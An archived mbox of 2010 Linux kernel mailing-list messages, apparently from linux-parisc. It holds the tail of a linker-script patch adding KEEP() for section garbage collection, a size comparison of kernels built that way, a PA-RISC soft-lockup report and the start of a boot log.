+		KEEP(*(.pci_fixup_final))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_final) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_enable) = .;		\
-		*(.pci_fixup_enable)					\
+		KEEP(*(.pci_fixup_enable))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_enable) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_resume) = .;		\
-		*(.pci_fixup_resume)					\
+		KEEP(*(.pci_fixup_resume))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_resume) = .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_resume_early) = .;	\
-		*(.pci_fixup_resume_early)				\
+		KEEP(*(.pci_fixup_resume_early))			\
 		VMLINUX_SYMBOL(__end_pci_fixups_resume_early) = .;	\
 		VMLINUX_SYMBOL(__start_pci_fixups_suspend) = .;		\
-		*(.pci_fixup_suspend)					\
+		KEEP(*(.pci_fixup_suspend))				\
 		VMLINUX_SYMBOL(__end_pci_fixups_suspend) = .;		\
 	}								\
 									\
@@ -270,76 +270,76 @@
 	/* Kernel symbol table: Normal symbols */			\
 	__ksymtab         : AT(ADDR(__ksymtab) - LOAD_OFFSET) {		\
 		VMLINUX_SYMBOL(__start___ksymtab) = .;			\
-		*(__ksymtab)						\
+		KEEP(*(__ksymtab))					\
 		VMLINUX_SYMBOL(__stop___ksymtab) = .;			\
 	}								\
 									\
 	/* Kernel symbol table: GPL-only symbols */			\
 	__ksymtab_gpl     : AT(ADDR(__ksymtab_gpl) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start___ksymtab_gpl) = .;		\
-		*(__ksymtab_gpl)					\
+		KEEP(*(__ksymtab_gpl))					\
 		VMLINUX_SYMBOL(__stop___ksymtab_gpl) = .;		\
 	}								\
 									\
 	/* Kernel symbol table: Normal unused symbols */		\
 	__ksymtab_unused  : AT(ADDR(__ksymtab_unused) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start___ksymtab_unused) = .;		\
-		*(__ksymtab_unused)					\
+		KEEP(*(__ksymtab_unused))				\
 		VMLINUX_SYMBOL(__stop___ksymtab_unused) = .;		\
 	}								\
 									\
 	/* Kernel symbol table: GPL-only unused symbols */		\
 	__ksymtab_unused_gpl : AT(ADDR(__ksymtab_unused_gpl) - LOAD_OFFSET) { \
 		VMLINUX_SYMBOL(__start___ksymtab_unused_gpl) = .;	\
-		*(__ksymtab_unused_gpl)					\
+		KEEP(*(__ksymtab_unused_gpl))				\
 		VMLINUX_SYMBOL(__stop___ksymtab_unused_gpl) = .;	\
 	}								\
 									\
 	/* Kernel symbol table: GPL-future-only symbols */		\
 	__ksymtab_gpl_future : AT(ADDR(__ksymtab_gpl_future) - LOAD_OFFSET) { \
 		VMLINUX_SYMBOL(__start___ksymtab_gpl_future) = .;	\
-		*(__ksymtab_gpl_future)					\
+		KEEP(*(__ksymtab_gpl_future))				\
 		VMLINUX_SYMBOL(__stop___ksymtab_gpl_future) = .;	\
 	}								\
 									\
 	/* Kernel symbol table: Normal symbols */			\
 	__kcrctab         : AT(ADDR(__kcrctab) - LOAD_OFFSET) {		\
 		VMLINUX_SYMBOL(__start___kcrctab) = .;			\
-		*(__kcrctab)						\
+		KEEP(*(__kcrctab))					\
 		VMLINUX_SYMBOL(__stop___kcrctab) = .;			\
 	}								\
 									\
 	/* Kernel symbol table: GPL-only symbols */			\
 	__kcrctab_gpl     : AT(ADDR(__kcrctab_gpl) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start___kcrctab_gpl) = .;		\
-		*(__kcrctab_gpl)					\
+		KEEP(*(__kcrctab_gpl))					\
 		VMLINUX_SYMBOL(__stop___kcrctab_gpl) = .;		\
 	}								\
 									\
 	/* Kernel symbol table: Normal unused symbols */		\
 	__kcrctab_unused  : AT(ADDR(__kcrctab_unused) - LOAD_OFFSET) {	\
 		VMLINUX_SYMBOL(__start___kcrctab_unused) = .;		\
-		*(__kcrctab_unused)					\
+		KEEP(*(__kcrctab_unused))				\
 		VMLINUX_SYMBOL(__stop___kcrctab_unused) = .;		\
 	}								\
 									\
 	/* Kernel symbol table: GPL-only unused symbols */		\
 	__kcrctab_unused_gpl : AT(ADDR(__kcrctab_unused_gpl) - LOAD_OFFSET) { \
 		VMLINUX_SYMBOL(__start___kcrctab_unused_gpl) = .;	\
-		*(__kcrctab_unused_gpl)					\
+		KEEP(*(__kcrctab_unused_gpl))				\
 		VMLINUX_SYMBOL(__stop___kcrctab_unused_gpl) = .;	\
 	}								\
 									\
 	/* Kernel symbol table: GPL-future-only symbols */		\
 	__kcrctab_gpl_future : AT(ADDR(__kcrctab_gpl_future) - LOAD_OFFSET) { \
 		VMLINUX_SYMBOL(__start___kcrctab_gpl_future) = .;	\
-		*(__kcrctab_gpl_future)					\
+		KEEP(*(__kcrctab_gpl_future))				\
 		VMLINUX_SYMBOL(__stop___kcrctab_gpl_future) = .;	\
 	}								\
 									\
 	/* Kernel symbol table: strings */				\
         __ksymtab_strings : AT(ADDR(__ksymtab_strings) - LOAD_OFFSET) {	\
-		*(__ksymtab_strings)					\
+		KEEP(*(__ksymtab_strings))				\
 	}								\
 									\
 	/* __*init sections */						\
@@ -356,7 +356,7 @@
 	/* Built-in module parameters. */				\
 	__param : AT(ADDR(__param) - LOAD_OFFSET) {			\
 		VMLINUX_SYMBOL(__start___param) = .;			\
-		*(__param)						\
+		KEEP(*(__param))					\
 		VMLINUX_SYMBOL(__stop___param) = .;			\
 		. = ALIGN((align));					\
 		VMLINUX_SYMBOL(__end_rodata) = .;			\
@@ -371,7 +371,7 @@
 #define SECURITY_INIT							\
 	.security_initcall.init : AT(ADDR(.security_initcall.init) - LOAD_OFFSET) { \
 		VMLINUX_SYMBOL(__security_initcall_start) = .;		\
-		*(.security_initcall.init) 				\
+		KEEP(*(.security_initcall.init))			\
 		VMLINUX_SYMBOL(__security_initcall_end) = .;		\
 	}
 
@@ -424,7 +424,7 @@
 #endif
 
 /* Section used for early init (in .S files) */
-#define HEAD_TEXT  *(.head.text)
+#define HEAD_TEXT  KEEP(*(.head.text))
 
 #define HEAD_TEXT_SECTION							\
 	.head.text : AT(ADDR(.head.text) - LOAD_OFFSET) {		\
@@ -438,7 +438,7 @@
 	. = ALIGN(align);						\
 	__ex_table : AT(ADDR(__ex_table) - LOAD_OFFSET) {		\
 		VMLINUX_SYMBOL(__start___ex_table) = .;			\
-		*(__ex_table)						\
+		KEEP(*(__ex_table))					\
 		VMLINUX_SYMBOL(__stop___ex_table) = .;			\
 	}
 
@@ -591,29 +591,29 @@
 #define INIT_SETUP(initsetup_align)					\
 		. = ALIGN(initsetup_align);				\
 		VMLINUX_SYMBOL(__setup_start) = .;			\
-		*(.init.setup)						\
+		KEEP(*(.init.setup))					\
 		VMLINUX_SYMBOL(__setup_end) = .;
 
 #define INITCALLS							\
-	*(.initcallearly.init)						\
+	KEEP(*(.initcallearly.init))					\
 	VMLINUX_SYMBOL(__early_initcall_end) = .;			\
-  	*(.initcall0.init)						\
-  	*(.initcall0s.init)						\
-  	*(.initcall1.init)						\
-  	*(.initcall1s.init)						\
-  	*(.initcall2.init)						\
-  	*(.initcall2s.init)						\
-  	*(.initcall3.init)						\
-  	*(.initcall3s.init)						\
-  	*(.initcall4.init)						\
-  	*(.initcall4s.init)						\
-  	*(.initcall5.init)						\
-  	*(.initcall5s.init)						\
-	*(.initcallrootfs.init)						\
-  	*(.initcall6.init)						\
-  	*(.initcall6s.init)						\
-  	*(.initcall7.init)						\
-  	*(.initcall7s.init)
+	KEEP(*(.initcall0.init))					\
+	KEEP(*(.initcall0s.init))					\
+	KEEP(*(.initcall1.init))					\
+	KEEP(*(.initcall1s.init))					\
+	KEEP(*(.initcall2.init))					\
+	KEEP(*(.initcall2s.init))					\
+	KEEP(*(.initcall3.init))					\
+	KEEP(*(.initcall3s.init))					\
+	KEEP(*(.initcall4.init))					\
+	KEEP(*(.initcall4s.init))					\
+	KEEP(*(.initcall5.init))					\
+	KEEP(*(.initcall5s.init))					\
+	KEEP(*(.initcallrootfs.init))					\
+	KEEP(*(.initcall6.init))					\
+	KEEP(*(.initcall6s.init))					\
+	KEEP(*(.initcall7.init))					\
+	KEEP(*(.initcall7s.init))
 
 #define INIT_CALLS							\
 		VMLINUX_SYMBOL(__initcall_start) = .;			\
@@ -622,19 +622,19 @@
 
 #define CON_INITCALL							\
 		VMLINUX_SYMBOL(__con_initcall_start) = .;		\
-		*(.con_initcall.init)					\
+		KEEP(*(.con_initcall.init))				\
 		VMLINUX_SYMBOL(__con_initcall_end) = .;
 
 #define SECURITY_INITCALL						\
 		VMLINUX_SYMBOL(__security_initcall_start) = .;		\
-		*(.security_initcall.init)				\
+		KEEP(*(.security_initcall.init))			\
 		VMLINUX_SYMBOL(__security_initcall_end) = .;
 
 #ifdef CONFIG_BLK_DEV_INITRD
 #define INIT_RAM_FS							\
 	. = ALIGN(PAGE_SIZE);						\
 	VMLINUX_SYMBOL(__initramfs_start) = .;				\
-	*(.init.ramfs)							\
+	KEEP(*(.init.ramfs))						\
 	VMLINUX_SYMBOL(__initramfs_end) = .;
 #else
 #define INIT_RAM_FS

--Boundary-00=_1exQMv9z7xuz/lL--

From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Sun, 18 Jul 2010 20:24:53 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <AANLkTin-9VsTJxGclRUrJIizn9aDZ6pjxmByBCWB0Hqr@mail.gmail.com>
References: <201007181703.17022.vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1279477505 23279 80.91.229.12 (18 Jul 2010 18:25:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 18 Jul 2010 18:25:05 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Sam Ravnborg <sam@ravnborg.org>, Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 18 20:25:01 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OaYXt-0002mS-7L
	for glpp-linux-parisc@lo.gmane.org; Sun, 18 Jul 2010 20:25:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756890Ab0GRSZA convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 Jul 2010 14:25:00 -0400
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:48918 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756889Ab0GRSY7 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 Jul 2010 14:24:59 -0400
Original-Received: by wyb42 with SMTP id 42so3677384wyb.19
        for <multiple recipients>; Sun, 18 Jul 2010 11:24:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:sender:received
         :in-reply-to:references:date:x-google-sender-auth:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=EReJ6xhUEDXuksmSjM8RBbTE/oOOU8D00YtKyXiISeE=;
        b=GdKbeTXNJuRBZS6NUSlI+GpWUsbqtjQl+214wm2ASENwEOpJiMz1A05BFVVImLgLrH
         PwmyhKFevwxRSfkPyq1XrcH9wvIYRpE/vMmcaumke86uyrR8Skq+iN+MU8I3saincDHv
         cYVViAIcnRLRnfy6sCaNeLXQvxGDSgCHV1Obw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=Iw61LkWOkd6TOLxsDJtoQp3zNETsMTHxUi0B6846AY1iCDymgZi8FscBeTwpj9PRiE
         aLb0gSIk6qYLSkMoGFTg96B1we+znGIFeoag3AR5E0lLfyuyaeZRBVcKK89fvwIs07Ny
         B29jV7ShstwJMiiEjuL9Uez3/UqnasPP453sk=
Original-Received: by 10.216.231.230 with SMTP id l80mr2950844weq.53.1279477494233; 
	Sun, 18 Jul 2010 11:24:54 -0700 (PDT)
Original-Received: by 10.216.23.12 with HTTP; Sun, 18 Jul 2010 11:24:53 -0700 (PDT)
In-Reply-To: <201007181703.17022.vda.linux@googlemail.com>
X-Google-Sender-Auth: XAVxrJso2-CBvbVnyOPVyUOnc70
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2989 gmane.linux.kernel:1011327 gmane.linux.kernel.cross-arch:6994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2989>

On Sun, Jul 18, 2010 at 17:03, Denys Vlasenko <vda.linux@googlemail.com=
> wrote:
> I am sending this email from the machine which runs the kernel
> built with -ffunction-sections -fdata-sections --gc-sections.

(sorry for the previous HTML-email)

=46or the record, what are the metrics of this kernel vs. the standard =
one?

Gr{oetje,eeting}s,

=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0=C2=A0 =C2=A0=C2=A0 -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: BUG: soft lockup - CPU#0 stuck for 61s! [stty:11381]
Date: Sun, 18 Jul 2010 15:01:21 -0400
Organization: nrc.ca
Lines: 60
Approved: news@gmane.org
Message-ID: <20100718190121.GA1179@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1279479686 30052 80.91.229.12 (18 Jul 2010 19:01:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 18 Jul 2010 19:01:26 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 18 21:01:25 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OaZ76-0005kg-RM
	for glpp-linux-parisc@lo.gmane.org; Sun, 18 Jul 2010 21:01:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757154Ab0GRTBY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 Jul 2010 15:01:24 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1350 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757147Ab0GRTBX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 Jul 2010 15:01:23 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5589A4D1C; Sun, 18 Jul 2010 15:01:22 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2990
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2990>

I had this lockup a few days ago with vanilla UP 64-bit 2.6.34.1 kernel
on rp3440.

BUG: soft lockup - CPU#0 stuck for 61s! [stty:11381]
Modules linked in: ext2 sd_mod crc_t10dif sym53c8xx tg3 scsi_transport_spi libphy scsi_mod [last unloaded: scsi_wait_scan]

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  000000ff0804ff0f 00000000405992d0 0000000040202d58 000000007fb508c8
r04-07  0000000040584ad0 0000000000000002 00000000c0307448 0000000040245410
r08-11  0000000000000000 ffffffffffffffea 0000000000019a04 0000000000019abc
r12-15  0000000000000002 000000000001c674 0000000000000001 0000000000000000
r16-19  0000000000000001 0000000000000001 0000000000000061 ffffffff80305828
r20-23  0000000000000036 000000004052c8c4 00000000405fac24 0000000000000000
r24-27  00000000403eeca0 0000000040245410 000000007fb508c8 0000000040584ad0
r28-31  000000408f955c50 000000408b2a82e0 000000408b2a8310 00000000404c6fb8
sr00-03  0000000000006800 0000000000006800 0000000000000000 0000000000006800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004029d7cc 000000004029d7d0
 IIR: 53450110    ISR: 000000408b2a8488  IOR: 0000000000000000
 CPU:        0   CR30: 000000408b2a8000 CR31: 0000000040564000
ORIG_R28: 0000000040584ad0
IAOQ[0]: tty_compat_ioctl+0x44/0x130
IAOQ[1]: tty_compat_ioctl+0x48/0x130
RP(r2): compat_sys_ioctl+0xb8/0x420
Backtrace:
[<0000000040202d58>] compat_sys_ioctl+0xb8/0x420
[<0000000040104ed4>] syscall_exit+0x0/0x14

Assembly:
    4029d7c8:   53 5c 00 30     ldd 18(r26),ret0
    4029d7cc:   53 45 01 10     ldd 88(r26),r5
    4029d7d0:   53 99 00 20     ldd 10(ret0),r25
    4029d7d4:   eb ff bb 8d     b,l 4029d5a0 <tty_paranoia_check>,rp
    4029d7d8:   08 05 02 5a     copy r5,r26

static long tty_compat_ioctl(struct file *file, unsigned int cmd,
                                unsigned long arg)
{
	struct inode *inode = file->f_dentry->d_inode;
	struct tty_struct *tty = file->private_data;
	struct tty_ldisc *ld;
	int retval = -ENOIOCTLCMD;

	if (tty_paranoia_check(tty, inode, "tty_ioctl"))
		return -EINVAL;

I can't see anything obviously wrong with code, so it's possible the
lockup was caused by the lockup detection itself.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Mon, 19 Jul 2010 01:31:56 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <201007190131.56633.vda.linux@googlemail.com>
References: <201007181703.17022.vda.linux@googlemail.com> <AANLkTin-9VsTJxGclRUrJIizn9aDZ6pjxmByBCWB0Hqr@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1279495951 7418 80.91.229.12 (18 Jul 2010 23:32:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 18 Jul 2010 23:32:31 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Sam Ravnborg <sam@ravnborg.org>, Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 19 01:32:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OadLP-0003BA-L3
	for glpp-linux-parisc@lo.gmane.org; Mon, 19 Jul 2010 01:32:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757557Ab0GRXcF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 Jul 2010 19:32:05 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:40150 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757532Ab0GRXcE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 Jul 2010 19:32:04 -0400
Original-Received: by fxm14 with SMTP id 14so1882609fxm.19
        for <multiple recipients>; Sun, 18 Jul 2010 16:32:01 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:message-id;
        bh=ICLkQSQN+qsrE4B/ATGUz5LDlw3JXfGvq+EjnlCIdTk=;
        b=ORd+2JtWa6Iyxm4er0RnDBf+hN9UplHCOgENplD7/Np7p/Ce2H6DLrcrvHiVVnm85a
         glKKuPvnEpzGJao7NfF64ejswOL/EuEcUDVyF8JNqVhBW7Vh6gFQI8WpNXhww2QKB0jR
         aR+ik5Nt/KNfc4R5w8HokAQQ/a8AIPQWMwuQM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:content-transfer-encoding
         :content-disposition:message-id;
        b=rS1+lZ29ef0dgmsWm5UschvdoV62gKIS2FKy1NpSB2e6Ga4qtAWqftlD6wIyeq39sB
         FY90zDWM1kw3MXDHLAK5tkCAX9VtQ7cCN1AT/YTEsG0wJ+Qbylps3PNb0snkUuYMQ/ws
         pAv2GqRTujYweyqxCukpuiGggGHsmTsDPeqWY=
Original-Received: by 10.86.92.7 with SMTP id p7mr2248859fgb.57.1279495921838;
        Sun, 18 Jul 2010 16:32:01 -0700 (PDT)
Original-Received: from shadow (221.47.broadband5.iol.cz [88.100.47.221])
        by mx.google.com with ESMTPS id l12sm1770849fan.25.2010.07.18.16.31.59
        (version=SSLv3 cipher=RC4-MD5);
        Sun, 18 Jul 2010 16:32:00 -0700 (PDT)
User-Agent: KMail/1.8.2
In-Reply-To: <AANLkTin-9VsTJxGclRUrJIizn9aDZ6pjxmByBCWB0Hqr@mail.gmail.com>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2991 gmane.linux.kernel:1011353 gmane.linux.kernel.cross-arch:6995
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2991>

On Sunday 18 July 2010 20:24, Geert Uytterhoeven wrote:
> On Sun, Jul 18, 2010 at 17:03, Denys Vlasenko <vda.linux@googlemail.com> wrote:
> > I am sending this email from the machine which runs the kernel
> > built with -ffunction-sections -fdata-sections --gc-sections.
> 
> (sorry for the previous HTML-email)
> 
> For the record, what are the metrics of this kernel vs. the standard one?

Kernel:

   text    data     bss     dec     hex filename
8299299  857324  785348 9941971  97b3d3 linux-2.6.35-rc4.obj/vmlinux
7656461  841508  783700 9281669  8da085 linux-2.6.35-rc4-fs.obj/vmlinux
7566908  832388  717844 9117140  8b1dd4 linux-2.6.35-rc4-fsgs.obj/vmlinux

The largest module in my build:
   text    data     bss     dec     hex filename
 451009   54640    2224  507873   7bfe1 linux-2.6.35-rc4.obj/fs/xfs/xfs.ko
 450519   54292    2202  507013   7bc85 linux-2.6.35-rc4-fs.obj/fs/xfs/xfs.ko
 450521   54292    2202  507015   7bc87 linux-2.6.35-rc4-fsgs.obj/fs/xfs/xfs.ko


-- 
vda
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: 2.6.35-rc5+ fails to boot
Date: Sun, 18 Jul 2010 20:05:40 -0400
Organization: nrc.ca
Lines: 2142
Approved: news@gmane.org
Message-ID: <20100719000539.GA2488@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="k1lZvvs/B4yU6o8G"
X-Trace: dough.gmane.org 1279497949 11502 80.91.229.12 (19 Jul 2010 00:05:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 19 Jul 2010 00:05:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 19 02:05:46 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Oadrd-0001zL-K4
	for glpp-linux-parisc@lo.gmane.org; Mon, 19 Jul 2010 02:05:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757685Ab0GSAFo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 18 Jul 2010 20:05:44 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1371 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757646Ab0GSAFn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 18 Jul 2010 20:05:43 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C6D0E4CF6; Sun, 18 Jul 2010 20:05:41 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2992
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2992>


--k1lZvvs/B4yU6o8G
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.14 root@penalosa Wed Oct  8 15:04:37 UTC 2008

Partition Start(MB) End(MB) Id Type
1               1     101   f0 Palo
2             102    1082   82 swap
3            1083   34726   83 ext2

PALO(F0) partition contains:
PALO is formatted EXT2/3
Command line for kernel: 'root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux'
Selected kernel: /vmlinux from partition 1
Selected ramdisk: /initrd.img from partition 1
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4198400 mediaptr 0x1000
Segment 1 load 00549b70 size 392320 mediaptr 0x402b70
Segment 2 load 005ac000 size 167384 mediaptr 0x463000
Loading ramdisk 7171579 bytes @ 3f917000...
